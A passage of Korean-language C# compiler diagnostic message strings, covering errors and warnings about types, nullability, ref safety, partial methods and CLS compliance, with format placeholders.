포함하는 형식 또는 메서드의 이름과 같습니다. + 멤버가 상속된 멤버를 숨깁니다. new 키워드가 없습니다. + 부분 형식(Partial Type) 내에 부분 메서드가 선언되어야 합니다. + '{0}'의 '{1}' 형식이 '{2}'에서 가져온 네임스페이스 '{3}'과(와) 충돌합니다. '{0}'에 정의된 형식을 사용합니다. + '{0}'의 '{1}' 네임스페이스가 '{2}'에서 가져온 형식 '{3}'과(와) 충돌합니다. '{0}'에 정의된 네임스페이스를 사용합니다. + 오버로드된 Add 메서드 중 해당 컬렉션 이니셜라이저에 가장 적합한 '{0}'에 잘못된 인수가 있습니다. + '{0}' 형식의 식은 제공된 패턴과 일치할 수 없습니다. + 목록 패턴은 '{0}' 형식의 값에 사용할 수 없습니다. 적합한 'Length' 또는 'Count' 속성을 찾을 수 없습니다. + 배열을 만들 때에는 배열 크기 또는 배열 이니셜라이저가 있어야 합니다. + 튜플 같음 + '{1}'의 XML 주석에 '{0}' 형식 매개 변수와 짝이 맞는 형식 매개 변수 태그가 없습니다. 다른 형식 매개 변수는 짝이 맞는 태그가 있습니다. + 차단할 수 없음: 경로 '{0}'이(가) 매핑되지 않았습니다. 매핑된 경로 '{1}'이(가) 예상됩니다. + in 매개 변수에는 Out 특성을 사용할 수 없습니다. + 조건식에 할당을 사용하면 항상 상수가 됩니다. = 대신 ==을 사용하세요. + '{0}' Win32 매니페스트 파일을 읽는 동안 오류가 발생했습니다. '{1}' + 식 트리에는 보간된 문자열 처리기 변환이 포함될 수 없습니다. + ref 조건부 연산자의 분기는 선언 범위가 호환되지 않는 변수를 참조합니다. + '{1}' 모듈의 '{0}' 특성은 소스에 나타나는 인스턴스를 위해 무시됩니다. + {0}을(를) 범위 변수에 할당할 수 없습니다. + params 매개 변수는 매개 변수 목록의 마지막 매개 변수여야 합니다. + 튜플 형식 '{0}'을(를) 일치시키려면 '{1}' 하위 패턴이 필요하지만 '{2}' 하위 패턴이 있습니다. + 바로 바깥쪽 catch 절에 중첩된 finally 절에는 인수가 없는 throw 문을 사용할 수 없습니다. + 자동 구현 'set' 접근자 '{0}'을(를) 'readonly'로 표시할 수 없습니다. + 튜플에는 요소가 두 개 이상 있어야 합니다. + '{0}' 형식은 형식 인수로 사용할 수 없습니다. + '{0}' 형식 변수에서 foreach 문을 수행할 수 없습니다. '{0}'에는 '{1}'의 공개 인스턴스 또는 확장 정의가 없기 때문입니다. 'foreach' 대신 'await foreach'를 사용하시겠습니까? + '{0}' 파일 이름이 비어 있거나, 잘못된 문자가 있거나, 절대 경로가 없는 드라이브 사양이 있거나, 너무 깁니다. + 이는 '{0}'에 '{1}'을(를) ref-assign하지만 '{1}'은(는) '{0}'보다 더 넓은 값 이스케이프 범위를 가지며 '{1}'보다 좁은 이스케이프 범위가 있는 값의 '{0}'을(를) 통한 할당을 허용합니다. + 매개 변수 형식에 있는 참조 형식 Null 허용 여부가 재정의된 멤버와 일치하지 않습니다. + 대상 런타임이 인터페이스 멤버의 'protected', 'protected internal' 또는 'private protected' 접근성을 지원하지 않습니다. + 필수 '{1}' 특성이 없으므로 Interop 형식 '{0}'을(를) 포함할 수 없습니다. + '{0}' 반환 대리자로 변환된 비동기 람다 식은 값을 반환할 수 없습니다. + unmanaged 제네릭 형식 제약 조건 + Nullable 참조 형식에 대한 주석은 '#nullable' 주석 컨텍스트 내의 코드에서만 사용해야 합니다. 자동 생성된 코드에는 소스에 명시적 '#nullable' 지시문이 필요합니다. + '{0}' 언어 이름이 잘못되었습니다. + for 문, using 문, fixed 문, 선언문 등에는 둘 이상의 형식을 사용할 수 없습니다. + 범위 변수 '{0}'은(는) 읽기 전용이므로 이 변수에 값을 할당할 수 없습니다. + '{0}'에는 인수를 {1}개 사용하는 생성자가 포함되어 있지 않습니다. + 어셈블리 문화권 문자열에는 포함된 NUL 문자가 포함되지 않을 수 있습니다. + 예기치 않은 매개 변수 목록입니다. + 모듈 이니셜라이저는 일반 멤버 메서드여야 합니다. + 고정 필드는 참조 필드가 아니어야 합니다. + 보간된 상수 문자열 + '{0}': constraint 클래스와 'unmanaged' 제약 조건을 둘 다 지정할 수는 없습니다. + 선언 범위 외부에서 참조된 변수를 노출할 수 있으므로 이 컨텍스트에서 변수 '{0}'을(를) 사용할 수 없습니다. + 패턴에 nullable 형식 '{0}?'을(를) 사용하는 것은 올바르지 않습니다. 대신 기본 형식 '{0}'을(를) 사용하세요. + 정적 가상 또는 추상 인터페이스 구성원는 형식 매개 변수에서만 액세스할 수 있습니다. + 두 부분 메서드(Partial Method) 선언 모두 params 매개 변수를 사용하거나 params 매개 변수를 사용할 수 없습니다. + 명시적 인터페이스 선언에서 구현할 수 있는 인터페이스 멤버 중에 '{0}'이(가) 없습니다. + '{0}'의 '{1}' 형식이 '{2}'에서 가져온 형식 '{3}'과(와) 충돌합니다. '{0}'에 정의된 형식을 사용합니다. + 'System.Runtime.CompilerServices.NullableAttribute'의 명시적 적용은 허용되지 않습니다. + 배열 요소는 '{0}' 형식일 수 없습니다. + 이벤트 접근자 선언에는 한정자를 추가할 수 없습니다. + '{0}'은(는) 인터페이스 멤버 '{1}'을(를) 구현하지 않습니다. '{2}'은(는) 액세스할 수 없는 멤버를 암시적으로 구현할 수 없습니다. + 기본 클래스 '{0}'은(는) 다른 모든 인터페이스보다 앞에 와야 합니다. + '{1}'과(와) '{2}' 사이에 공통 유형이 없기 때문에 조건식이 언어 버전 {0}에서 유효하지 않습니다. 대상 유형 변환을 사용하려면 언어 버전 {3} 이상으로 업그레이드하세요. + Win32 리소스 파일과 Win32 매니페스트는 서로 충돌하므로 함께 지정할 수 없습니다. + 반복기에는 포인터 형식 매개 변수를 사용할 수 없습니다. + '{0}' 형식에서 '{1}' 형식으로의 표준 변환이 없기 때문에 CallerMemberNameAttribute를 적용할 수 없습니다. + '{0}' 매개 변수의 멤버는 ref 또는 out 매개 변수가 아니므로 참조로 반환할 수 없습니다. + (이전 오류와 관련된 기호 위치) + stdin 인수 '-'를 지정했지만 표준 입력 스트림에서 입력이 리디렉션되지 않았습니다. + catch 절 본문에서는 값을 생성할 수 없습니다. + 반환 형식에서 참조 형식의 null 허용 여부가 암시적으로 구현된 멤버와 일치하지 않음(null 허용 여부 특성 때문일 수 있음) + 비동기 메서드이므로 반환 식이 '{1}' 형식이 아니라 '{0}' 형식이어야 합니다. + { 또는 ;이 필요합니다. + 정적 속성, 정적 메서드 또는 정적 필드 이니셜라이저에는 'this' 키워드를 사용할 수 없습니다. + 매개 변수에 람다의 매개 변수 한정자가 있지만 대상 대리자 형식에는 없습니다. + 인터페이스 멤버 '{0}'에 가장 한정적인 구현이 없습니다. '{1}', '{2}' 모두 가장 한정적이지 않습니다. + 선택적 매개 변수 + 지정한 검색 경로가 잘못되었습니다. + this'를 참조로 반환할 수 없습니다. + 포함된 interop 형식 '{0}'과(와) 일치하는 interop 형식을 찾을 수 없습니다. 어셈블리 참조가 있는지 확인하세요. + 이 경고는 소스에 있는 AssemblyKeyFileAttribute 또는 AssemblyKeyNameAttribute 어셈블리 특성이 /keyfile 또는 /keycontainer 명령줄 옵션이나 프로젝트 속성에 지정된 키 파일 이름 또는 키 컨테이너와 충돌하는 경우에 발생합니다. + 이 경고는 특성(예: InternalsVisibleToAttribute)이 올바르게 지정되지 않았음을 나타냅니다. + 포인터 + by-reference 변수의 선언에 이니셜라이저가 있어야 합니다. + 'MethodImplOptions.Synchronized'는 비동기 메서드에 적용할 수 없습니다. + 참조 매개 변수가 아니므로 '{0}' 참조로 매개 변수를 반환할 수 없습니다. + '{0}'은(는) 유효한 함수 포인터 반환 형식 한정자가 아닙니다. 유효한 한정자는 'ref' 및 'ref readonly'입니다. + 언어 버전 {1} 'ref' 키워드(keyword) 사용하여 인수 {0} 전달할 수 없습니다. 'ref' 인수를 'in' 매개 변수에 전달하려면 언어 버전 {2} 이상으로 업그레이드하세요. + 잘못된 개체 만들기 + NotNullIfNotNull이 참조하는 매개 변수가 null이 아니므로 매개 변수는 종료할 때 null이 아닌 값을 가져야 합니다. + 네임스페이스에 정의된 요소는 명시적으로 private, protected, protected internal 또는 private protected로 선언할 수 없습니다. + 이진 연산자의 매개 변수 중 하나는 포함하는 유형이거나 이에 제한되는 유형 매개 변수여야 합니다. + /moduleassemblyname 옵션은 빌드하는 대상 형식이 'module'인 경우에만 지정할 수 있습니다. + '{0}'의 반환 형식에서 참조 형식의 Null 허용 여부가 대상 대리자 '{1}'과(와) 일치하지 않습니다(Null 허용 여부 특성 때문일 수 있음). + 형식 매개 변수 '{0}'이(가) 상속하는 '{1}' 및 '{2}' 제약 조건이 충돌합니다. + '{0}' 리소스 식별자가 이 어셈블리에 이미 사용되었습니다. + '{0}'의 기본 매개 변수 값은 컴파일 타임 상수여야 합니다. + 프로그램에는 진입점에 적합한 정적 'Main' 메서드가 포함되어 있지 않습니다. + 참조로 기본 생성자 '{0}’ 매개 변수를 반환할 수 없습니다. + 레코드 멤버 '{0}'이(가) 정적이지 않을 수 있습니다. + 이 오류는 미리 정의한 시스템 형식(예: System.Int32)이 두 어셈블리에 있는 경우에 발생합니다. 이 오류는 서로 다른 두 위치에서 mscorlib 또는 System.Runtime.dll을 참조할 경우(두 버전의 .NET Framework를 나란히 실행할 경우)에 발생할 수 있습니다. + '{0}'의 멤버는 참조로 반환될 수 없는 값으로 초기화되었으므로 참조로 반환할 수 없습니다. + 필수 구성원 '{0}'은(는) '{1}'(으)로 숨길 수 없습니다. + 가변 인수가 있는 메서드가 CLS 규격이 아닙니다. + Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal을 사용하여 숫자 리터럴 토큰을 만듭니다. + 두 부분 메서드(Partial Method) 선언 모두 static이거나 static이 아니어야 합니다. + '{0}'은(는) lock 문에 필요한 참조 형식이 아닙니다. + '{0}'이(가) '{1}' 패턴을 구현하지 않습니다. '{2}'이(가) 공개 인스턴스 또는 확장 메서드가 아닙니다. + 비동기 foreach 문은 '{1}'의 여러 인스턴스화를 구현하므로 '{0}' 형식의 변수에는 foreach 문을 수행할 수 없습니다. 특정 인터페이스 인스턴스화로 캐스트하세요. + 참조 필드는 사용 전에 ref-assigned해야 합니다. + 정적 읽기 전용 필드는 쓰기 가능 참조로 반환될 수 없습니다. + '{0}' 형식 변수에서 비동기 foreach 문을 수행할 수 없습니다. '{0}'에는 '{1}'의 공개 인스턴스 또는 확장 정의가 없기 때문입니다. 'await foreach' 대신 'foreach'를 사용하시겠습니까? + '암시적' 사용자 정의 변환 연산자는 선택되었다고 선언할 수 없습니다. + CLS 규격 인터페이스는 CLS 규격 멤버만 포함할 수 있습니다. + 추가된 모듈은 어셈블리와 일치하도록 CLSCompliant 특성으로 표시되어야 합니다. + '{0}': 매개 변수, 지역 변수 또는 지역 함수는 메서드 형식 매개 변수와 같은 이름을 사용할 수 없습니다. + 반환 형식이 CLS 규격이 아닙니다. + {0} 아이콘 파일을 여는 동안 오류가 발생했습니다. {1} + '{0}'은(는) __arglist 매개 변수가 있으므로 '{2}' 형식의 인터페이스 멤버 '{1}'을(를) 구현할 수 없습니다. + 로드된 어셈블리가 지원되지 않는 .NET Framework를 참조합니다. + '{0}'에 대한 이 인수 조합은 선언 범위 외부에 있는 '{1}' 매개 변수에서 참조하는 변수를 노출할 수 있습니다. + 암시적으로 형식화된 분해 변수 '{0}'의 형식을 유추할 수 없습니다. + 이 특성에서는 멤버를 사용할 수 없음 + 재정의 및 명시적 인터페이스 구현 메서드에 대한 제약 조건은 기본 메서드에서 상속되므로 'class' 또는 'struct' 제약 조건을 제외하고는 직접 지정할 수 없습니다. + 전처리기 지시문에 지정한 파일 이름이 잘못되었습니다. + '{1}' 형식의 구조체 기본 생성자 '{0}' 매개 변수로 인해 구조체 레이아웃의 주기가 발생합니다. + '{0}'은(는) '{1}' 어셈블리에 정의되어 있습니다. + '{0}' 문자는 보간된 문자열에서 이중으로 사용하여 이스케이프해야 합니다. + 메서드 그룹 '{0}'을(를) 비 위임 유형 '{1}'(으)로 변환하는 중입니다. 메서드를 호출하려고 했습니까? + 확장 메서드 + 식에 이름이 없습니다. + 인터셉터에는 '{1}'의 '{0}' 매개 변수와 일치하는 'this' 매개 변수가 있어야 합니다. + 디버그 정보를 쓰는 동안 예기치 않은 오류가 발생했습니다. '{0}' + (C#) 컴파일: + 형식이 CLS 규격이 아닙니다. + '{0}' 정적 형식으로 변환할 수 없습니다. + 형식에는 CLS 규격 형식만 사용하는 액세스 가능 생성자가 없습니다. + 멤버가 참조로 반환되었지만 참조로 반환할 수 없는 값으로 초기화되었습니다. + '{0}'은(는) CLS 규격이 아닌 '{1}' 형식의 멤버이므로 CLS 규격으로 표시할 수 없습니다. + 필터 식이 상수 'false'입니다. catch 절을 제거해 보세요. + 익명 형식 + '{0}' 상수는 static으로 표시할 수 없습니다. + '{0}' 속성 또는 인덱서는 get 접근자가 없으므로 이 컨텍스트에서 사용할 수 없습니다. + 읽기 전용 구조체에서 자동으로 구현된 인스턴스 속성은 읽기 전용이어야 합니다. + 일반 작업과 같은 반환 유형이 예상되었지만 'AsyncMethodBuilder' 특성에 있는 '{0}' 유형이 적합하지 않습니다. 이는 인자 수가 1인 바인딩되지 않은 제네릭 유형이어야 하고, 포함하는 유형(있는 경우)은 제네릭이 아니어야 합니다. + 인터페이스의 인스턴스 속성은 이니셜라이저를 사용할 수 없습니다. + 지정된 언어 버전 '{0}'에는 앞에 오는 0을 사용할 수 없습니다. + 모듈 이니셜라이저에는 'UnmanagedCallersOnly' 특성을 지정할 수 없습니다. + '{0}' 지시 파일을 여는 동안 오류가 발생했습니다. + 컬렉션 이니셜라이저 요소에 가장 적합한 오버로드된 Add 메서드는 사용되지 않습니다. + 매개 변수 형식에서 참조 형식의 Null 허용 여부가 대상 대리자와 일치하지 않습니다(Null 허용 여부 특성 때문일 수 있음). + 레코드의 봉인된 ToString + 일관성 없는 액세스 가능성: '{1}' 반환 형식이 '{0}' 연산자보다 액세스하기 어렵습니다. + 사용하지 않는 extern 별칭입니다. + 동일한 인수 목록에서 암시적으로 형식화된 출력 변수 '{0}'에 대한 참조는 허용되지 않습니다. + '{0}' 형식의 선언에 partial 한정자가 없습니다. 형식이 같은 다른 partial 선언이 이미 있습니다. + 식을 '{0}'(으)로 변환할 수 없습니다. 할당 가능한 변수가 아니기 때문입니다. + '{0}': '{1}'에 재정의 가능한 set 접근자가 없으므로 재정의할 수 없습니다. + 패턴이 없습니다. + /reference 옵션에 extern 별칭('{0}')을 지정하지 않았습니다. + '{0}'은(는) 인식할 수 있는 특성 위치가 아닙니다. 이 선언의 유효한 특성 위치는 '{1}'입니다. 이 블록의 모든 특성이 무시됩니다. + __arglist에는 void 형식의 인수가 있을 수 없습니다. + {0} 매개 변수는 '{1}' 키워드를 사용하여 선언해야 합니다. + '{0}' 인터페이스에는 '{1}' 이벤트를 포함하는 데 필요한 소스 인터페이스가 잘못 포함되어 있습니다. + 컬렉션 이니셜라이저에 대한 '{0}'에 가장 일치하는 오버로드된 메서드를 사용할 수 없습니다. 컬렉션 이니셜라이저 'Add' 메서드에는 ref 또는 out 매개 변수를 사용할 수 없습니다. + 형식은 평가 목적으로 제공되며, 이후 업데이트에서 변경되거나 제거될 수 있습니다. + '&' 연산자는 비동기 메서드의 매개 변수 또는 지역 변수에 사용하면 안 됩니다. + '{0}': 재정의할 적절한 메서드를 찾을 수 없습니다. + <경로 목록> + '{1}'인 '{0}'의 멤버는 수정할 수 없습니다. + '{0}': CLS 규격 멤버만 abstract일 수 있습니다. + 불필요한 using 지시문 + 모듈을 빌드하는 동안 리소스 파일을 링크할 수 없습니다. + <전역 네임스페이스> + '{0}' 및 '{1}'과(와) 관련된 순환 제약 조건 종속성입니다. + '{0}'은(는) == 연산자 또는 != 연산자를 정의하지만 Object.GetHashCode()를 재정의하지 않습니다. + 지원되는 언어 버전: + '_' 이름은 상수를 참조하며, 무시 패턴은 참조하지 않습니다. 'var _'을 사용하여 값을 무시하거나 '@_'을 사용하여 해당 이름별 상수를 참조하세요. + 이항 연산자의 매개 변수 중 하나는 포함하는 형식이어야 합니다. + '{0}'은(는) '{1}'을(를) 구현하지 않습니다. + '{1}' 형식의 한정자를 통해 보호된 멤버 '{0}'에 액세스할 수 없습니다. 한정자는 '{2}' 형식이거나 여기에서 파생된 형식이어야 합니다. + 전처리기 지시문에는 원시 문자열 리터럴을 사용할 수 없습니다. + {0}.{1}' 멤버가 필요한 컴파일러가 없습니다. + 이 컨텍스트에 어셈블리 및 모듈 특성이 허용되지 않습니다. + 한 줄로 된 주석이나 줄의 끝이 필요합니다. + 멤버는 상속된 멤버를 숨기지 않으므로 new 키워드가 필요하지 않습니다. + CollectionBuilderAttribute 작성기 형식은 제네릭이 아닌 클래스 또는 구조체여야 합니다. + 명시적 생성자가 없는 구조체는 이니셜라이저를 사용하여 멤버를 포함할 수 없습니다. + '{0}': 정적 클래스는 제약 조건으로 사용할 수 없습니다. + 비동기 메서드의 반환 형식은 void, Task, Task<T>, task와 유사한 형식, IAsyncEnumerable<T> 또는 IAsyncEnumerator<T>여야 합니다. + XML 주석에 확인할 수 없는 '{0}' cref 특성이 있습니다. + 네임스페이스 '{1}'에 형식 이름 '{0}'이(가) 없습니다. 이 형식은 '{2}' 어셈블리에 전달되었습니다. 해당 어셈블리에 대한 참조를 추가하세요. + '{0}' 메서드는 형식 매개 변수 '{1}'의 'class' 제약 조건을 지정하지만 재정의되었거나 명시적으로 구현된 '{3}' 메서드의 해당 형식 매개 변수 '{2}'이(가) 참조 형식이 아닙니다. + '{0}'에서는 foreach를 수행할 수 없습니다. '{0}'을(를) 호출하시겠습니까? + volatile 필드에 대한 참조는 volatile로 처리되지 않습니다. + 참조로 마샬링하는 클래스의 필드에 있는 멤버에 액세스하면 런타임 예외가 발생할 수 있습니다. + 필드에는 void 형식을 사용할 수 없습니다. + 가능한 메서드 이름 '{0}'은(는) 호출되지 않기 때문에 가로챌 수 없습니다. + 기본 형식이 CLS 규격이 아닙니다. + 읽기 전용 형식의 기본 생성자 매개 변수 '{0}'의 멤버는 수정할 수 없습니다(형식의 init 전용 setter 또는 변수 이니셜라이저 제외). + 확장 메서드는 최상위 정적 클래스에 정의해야 합니다. {0}은(는) 중첩된 클래스입니다. + '{0}' 호출 규칙은 해당 언어에서 지원되지 않습니다. + '{0}' 모듈이 이 어셈블리에 이미 정의되었습니다. 각 모듈에 고유한 파일 이름이 있어야 합니다. + 이 컨텍스트에서는 특성이 유효하지 않습니다. + 고정 크기 버퍼 + 메서드 또는 접근자 블록 뒤의 세미콜론이 잘못되었습니다. + {0} '{1}'의 멤버는 읽기 전용 변수이므로 ref 또는 out 값으로 사용할 수 없습니다. + 사용자 정의 연산자 '{0}'은(는) 선언할 수 없습니다. + '{1}' 어셈블리의 interop 형식 '{0}'을(를) 포함하면 현재 어셈블리에서 이름 충돌이 발생합니다. 'Interop 형식 포함' 속성을 false로 설정하세요. + 가변 인수가 있는 메서드가 CLS 규격이 아닙니다. + '{0}': 접근자의 액세스 가능성 한정자는 속성 또는 인덱서에 get 접근자와 set 접근자가 모두 있는 경우에만 사용할 수 있습니다. + 컴파일러에서 요구하는 '{0}' 형식을 찾지 못했기 때문에 'dynamic'을 사용하는 클래스 또는 멤버를 정의할 수 없습니다. 참조가 있는지 확인하세요. + 필드의 'abstract' 한정자가 유효하지 않습니다. 대신 속성을 사용해 보세요. + 레코드가 봉인되지 않았으므로 복사 생성자 '{0}'이(가) 퍼블릭이거나 보호되어야 합니다. + 부울 형식으로 전환 + 식의 결과 값은 항상 '{0}' 형식의 'null'입니다. + '{0}' 매개 변수 형식에 있는 참조 형식 Null 허용 여부가 부분 메서드(Partial Method) 선언과 일치하지 않습니다. + CLSCompliant 특성을 반환 형식에 적용하면 의미가 없습니다. + 블록의 반환 형식 중 일부를 암시적으로 대리자 반환 형식으로 변환할 수 없으므로 {0}을(를) 지정한 대리자 형식으로 변환할 수 없습니다. + 공개된 '{0}' 멤버 또는 형식에 대한 XML 주석이 없습니다. + '{0}' 멤버는 '{2}' 형식의 인터페이스 멤버 '{1}'을(를) 구현합니다. 런타임에 인터페이스 멤버에 일치하는 여러 항목이 있습니다. 호출되는 메서드는 구현에 따라 다릅니다. + 컴파일러에서 오류를 경고로 재정의할 때 이 경고를 발생합니다. 문제에 대한 자세한 내용을 보려면 언급된 오류 코드를 검색하세요. + using 변수 + new() 제약 조건은 마지막에 지정해야 합니다. + '{0}'은(는) 다른 튜플 요소 이름을 사용하는 '{2}' 형식에 대한 인터페이스 목록에 '{1}'(으)로 이미 나열되어 있습니다. + 참조 형식의 null 허용 여부 차이로 인해 '{3}'에서 '{2}' 매개 변수의 '{1}' 형식 출력으로 '{0}' 형식 인수를 사용할 수 없습니다. + 참조 필드 + '{0}' 필드에는 할당되지 않으므로 항상 {1} 기본값을 사용합니다. + Friend 어셈블리 참조 '{0}'이(가) 잘못되었습니다. 강력한 이름의 서명된 어셈블리에는 InternalsVisibleTo 선언에 공개 키를 지정해야 합니다. + 기본 인터페이스가 CLS 규격이 아니므로 형식이 CLS 규격이 아닙니다. + '{1}' 형식은 동일한 매개 변수 형식을 가진 '{0}' 멤버를 미리 정의합니다. + <!-- Badly formed XML comment ignored for member "{0}" --> + 인라인 배열 구조체에는 명시적 레이아웃이 없어야 합니다. + '{0}' 대리자 형식에 out 매개 변수가 하나 이상 있으므로 매개 변수 목록이 없는 무명 메서드 블록을 이 대리자 형식으로 변환할 수 없습니다. + '{0}' 매개 변수 형식의 null 허용 여부가 재정의된 멤버와 일치하지 않습니다(null 허용 여부 특성 때문일 수 있음). + '{0}' 특성은 메서드 또는 특성 클래스에서만 유효합니다. + 인라인 배열 길이는 0보다 커야 합니다. + 이 컨텍스트에는 'void' 키워드를 사용할 수 없습니다. + switch 식에서 일부 null 입력을 처리하지 않습니다(전체 아님). 예를 들어 패턴 '{0}'은(는) 포함되지 않습니다. 그러나 'when' 절이 있는 패턴은 이 값과 일치할 수 있습니다. + 'Inline arrays' 언어 기능은 요소 필드가 'ref' 필드이거나 형식 인수로 유효하지 않은 형식이 있는 인라인 배열 형식에 대해 지원되지 않습니다. + '{0}' 네임스페이스에 이미 '{1}'에 대한 정의가 포함되어 있습니다. + 항목: 비워 두어서는 안 됩니다. + extern 로컬 함수 + 식별자 또는 숫자 리터럴이 필요합니다. + '{1}'의 XML 주석에는 '{0}'에 대한 paramref 태그가 있지만 해당 이름의 매개 변수는 없습니다. + 오버로드할 수 있는 단항 연산자가 필요합니다. + ref 또는 out 매개 변수가 아닌 매개 변수 '{0}'의 멤버를 참조로 반환합니다. + 유형 매개 변수이므로 '{0}'에서 비가상 멤버 조회를 수행할 수 없습니다. + 속성 하위 패턴은 일치시킬 속성 또는 필드에 대한 참조가 필요합니다(예: '{{ Name: {0} }}') + '{1}'에 저장된 '{0}' 모듈 이름은 파일 이름과 일치해야 합니다. + Null 리터럴을 null을 허용하지 않는 참조 형식으로 변환할 수 없습니다. + '{0}'은(는) 참조로 마샬링하는 클래스의 필드이므로 ref 또는 out 값으로 사용하거나 해당 주소를 가져오면 런타임 예외가 발생할 수 있습니다. + 지정한 버전 문자열 '{0}'이(가) 권장 형식 major.minor.build.revision을 따르지 않습니다. + ref 또는 out 매개 변수가 아닌 매개 변수의 멤버를 참조로 반환합니다. + '{0}': 배열 요소는 정적 형식일 수 없습니다. + 생성자 + SyntaxTree는 컴파일의 일부가 아니므로 제거할 수 없습니다. + '{0}'과(와) '{1}' 사이에 암시적 변환이 없으므로 조건식의 형식을 확인할 수 없습니다. + '{1}'인 '{0}'에는 할당할 수 없습니다. + '{0}' 이벤트는 += 또는 -=의 왼쪽에만 사용할 수 있습니다. 단 이 이벤트가 '{1}' 형식에서 사용될 때에는 예외입니다. + set 접근자에 액세스할 수 없으므로 '{0}' 속성 또는 인덱서는 이 컨텍스트에서 사용할 수 없습니다. + 매개 변수 '{0}'의 '범위 지정' 한정자가 대상 '{1}'과(와) 일치하지 않습니다. + {0}은(는) 유효한 C# 변환 식이 아닙니다. + 명명된 인수 '{0}'은(는) 위치 인수가 이미 지정된 매개 변수를 지정합니다. + '{0}' 메서드 그룹을 비대리자 형식 '{1}'(으)로 변환할 수 없습니다. 메서드를 호출하시겠습니까? + /win32manifest는 어셈블리에만 적용되므로 모듈의 경우 무시합니다. + foreach의 반환 형식 '{1}'('{0}')에는 적절한 공용 MoveNext 메서드 및 공용 Current 속성이 있어야 합니다. + (이전 경고와 관련된 기호 위치) + 배열 이니셜라이저는 변수 또는 필드 이니셜라이저에서만 사용할 수 있습니다. 대신 new 식을 사용해 보세요. + <null> + <텍스트> + 기본 형식 매개 변수 제약 조건 + '{0}'과(와) 대리자 '{1}' 사이의 참조 불일치 + '{0}': '{1}'이(가) 함수가 아니므로 재정의할 수 없습니다. + 암시적으로 형식화된 지역 변수 + 위치 매개 변수 '{0}'과(와) 일치하려면 레코드 멤버 '{1}'이(가) 유형 '{2}'의 읽을 수 있는 인스턴스 속성 또는 필드여야 합니다. + 대상 런타임이 기본 인터페이스 구현을 지원하지 않으므로 '{0}'이(가) '{2}' 형식의 인터페이스 멤버 '{1}'을(를) 구현할 수 없습니다. + 인라인 배열 구조체는 인스턴스 필드를 하나만 선언해야 합니다. + 미리 정의된 형식 '{0}'은(는) 구조체여야 합니다. + 인라인 배열 액세스에는 명명된 인수 지정자가 없을 수 있습니다. + 암시적으로 형식화된 배열 + Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier 또는 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier를 사용하여 식별자 토큰을 만듭니다. + 'delegate' 키워드는 제약 조건으로 사용할 수 없습니다. 'System.Delegate'를 사용할까요? + '{0}': using 문에 사용된 형식은 암시적으로 'System.IDisposable'로 변환할 수 있어야 합니다. + 의도하지 않은 참조 비교가 있을 수 있습니다. 값 비교를 가져오려면 왼쪽을 '{0}' 형식으로 캐스팅하세요. + 잘못된 차수 지정자입니다. ',' 또는 ']'가 필요합니다. + 속성 접근자가 이미 정의되었습니다. + 암시적으로 형식화된 변수는 배열 이니셜라이저를 사용하여 초기화할 수 없습니다. + 상수에 줄 바꿈 문자가 있습니다. + 'warnings', 'annotations' 또는 지시문의 끝이 필요합니다. + 분석기 인스턴스를 만들 수 없음 + '{1}'이(가) 반복기 인터페이스 형식이 아니므로 '{0}'의 본문은 반복기 블록이 될 수 없습니다. + '{0}'에 할당할 식은 상수여야 합니다. + 변수 선언에는 배열 크기를 지정할 수 없습니다. 'new' 식을 사용하여 초기화해 보세요. + 필터 식이 상수 'false'입니다. + '{0}': 추상 이벤트에는 이니셜라이저를 사용할 수 없습니다. + ID가 동일한 여러 어셈블리를 가져왔습니다('{0}', '{1}'). 중복된 참조 중 하나를 제거하세요. + '{0}': using 문에 사용된 형식은 암시적으로 'System.IDisposable'로 변환할 수 있어야 합니다. 'using' 대신 'await using'을 사용하시겠습니까? + '{0}'의 '{1}' 형식이 '{2}'의 '{3}' 네임스페이스와 충돌합니다. + 입력은 제공된 패턴과 항상 일치합니다. + 매개 변수 '{0}'은(는) 둘러싸는 유형의 상태로 캡처되며 해당 값은 필드, 속성 또는 이벤트를 초기화하는 데에도 사용됩니다. + CallerLineNumberAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + 형식이 필요합니다. + 위치는 구문 트리 범위 내에 있어야 합니다. + 모듈 이니셜라이저 + 식 트리에는 다차원 배열 이니셜라이저를 사용할 수 없습니다. + 대상 런타임에서 확장 가능 또는 런타임 환경 기본 호출 규칙을 지원하지 않습니다. + InterpolatedStringHandlerArgument는 람다 매개 변수에 적용할 때 효과가 없으며 호출 사이트에서 무시됩니다. + 인터페이스에는 인스턴스 필드가 포함될 수 없습니다. + '{0}'은(는) 참조로 반환될 수 없는 값으로 초기화되었으므로 참조로 반환할 수 없습니다. + 전역 using 지시문은 전역이 아닌 모든 using 지시문 앞에 있어야 합니다. + 예기치 않은 별칭이 지정된 이름의 사용입니다. + 매개 변수 배열은 확장 메서드의 'this' 한정자와 함께 사용할 수 없습니다. + '{0}' 메서드 호출을 동적으로 디스패치해야 하지만 해당 호출이 기본 액세스 식의 일부이므로 동적으로 디스패치할 수 없습니다. 동적 인수를 캐스팅하거나 기본 액세스를 제거하세요. + 제어가 호출자에게 반환되기 전에 자동 구현 속성을 완전히 할당해야 합니다. 속성을 자동 기본값으로 설정하도록 언어 버전을 업데이트하는 것이 좋습니다. + '{0}': 형식은 정적이면서 봉인될 수 없습니다. + '{0}'의 partial 선언은 모든 클래스, 모든 레코드 클래스, 모든 구조체, 모든 레코드 구조체 또는 모든 인터페이스여야 합니다. + 확장 GetEnumerator + 형식 이름 '{0}'에는 소문자 ASCII 문자만 포함됩니다. 이러한 이름은 언어에 대해 예약될 수 있습니다. + CLS 규격 필드 '{0}'은(는) volatile일 수 없습니다. + 이 버전의 '{0}'은(는) 컬렉션 식과 함께 사용할 수 없습니다. + 상황별 키워드 'equals'가 필요합니다. + 'id#' 구문은 더 이상 지원되지 않습니다. '$id'를 대신 사용하세요. + 제공된 라인 및 문자 번호는 토큰 '{0}'의 시작을 참조하지 않습니다. '{1}' 줄과 '{2}' 문자를 사용하려고 했습니까? + 프로그램의 진입점이 전역 코드이며 진입점을 무시함 + '{1}'의 '{0}' 매개 변수 형식에 있는 참조 형식의 Null 허용 여부가 암시적으로 구현된 멤버 '{2}'과(와) 일치하지 않습니다. + 필드가 사용되지 않습니다. + '{0}' 개체는 여러 번 삭제할 수 있습니다. + 식 트리에는 튜플 == 또는 != 연산자를 사용할 수 없습니다. + '{0}'은(는) 인터페이스 멤버 '{1}'을(를) 구현하지 않습니다. '{2}'은(는) 참조에 의한 일치되는 